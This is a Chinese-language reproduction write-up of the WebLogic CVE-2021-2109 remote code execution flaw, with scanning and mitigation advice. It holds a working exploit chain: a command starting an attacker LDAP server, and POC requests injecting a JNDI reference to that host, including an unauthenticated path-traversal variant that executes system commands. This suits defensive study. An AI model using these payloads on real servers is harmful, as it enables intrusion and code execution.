CVE-2021-2109 Weblogic Server远程代码执行漏洞复现分析及联研院工具箱排查解决方案

01

—

漏洞复现

一、验证环境

使用DOCKER搭建Weblogic Server测试环境，Weblogic Server可以正常访问

二、复现1：正常登录后台的情况下进行JNDI注入

1、需要利用管理员帐号登录Weblogic Server后台，通过BurpSuite抓取登录数据包，获取登录Cookie数据

2、在本机启动启动LDAP，可在https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11下载，命令如下：

java -jar JNDIExploit-v1.11.jar -i 192.168.131.1

3. 发送Weblogic Server远程代码执行漏洞CVE-2021-2109 JNDI注入POC数据包：

POST/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

4.验证测试：通过cmd变量执行ipconfig系统命令

二、复现2：未授权访问后台进行JNDI注入

实现需要目标系统同时存在Weblogic Server CVE-2020-14750未授权访问漏洞。

1、发送Weblogic Server远程代码执行漏洞CVE-2021-2109 JNDI注入POC数据包：

POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

2. 通过cmd变量执行calc.exe，打开系统计算器

3.验证测试：打开系统计算器。

排查方法

联研院工具箱支持CVE-2021-2109 Weblogic Server远程代码执行漏洞扫描。

解决方案

一、禁用T3协议

如果您不依赖T3协议进行JVM通信，可通过暂时阻断T3协议缓解此漏洞带来的影响。

1)进入Weblogic控制台，在base_domain配置页面中，进入“安全”选项卡页面，点击“筛选器”，配置筛选器。

2)在连接筛选器中输入：weblogic.security.net.ConnectionFilterImpl，在连接筛选器规则框中输入：* * 7001 deny t3 t3s。

二、禁止启用IIOP

登陆Weblogic控制台，找到启用IIOP选项，取消勾选，重启生效。

三、临时关闭后台/console/console.portal对外访问

四、升级官方安全补丁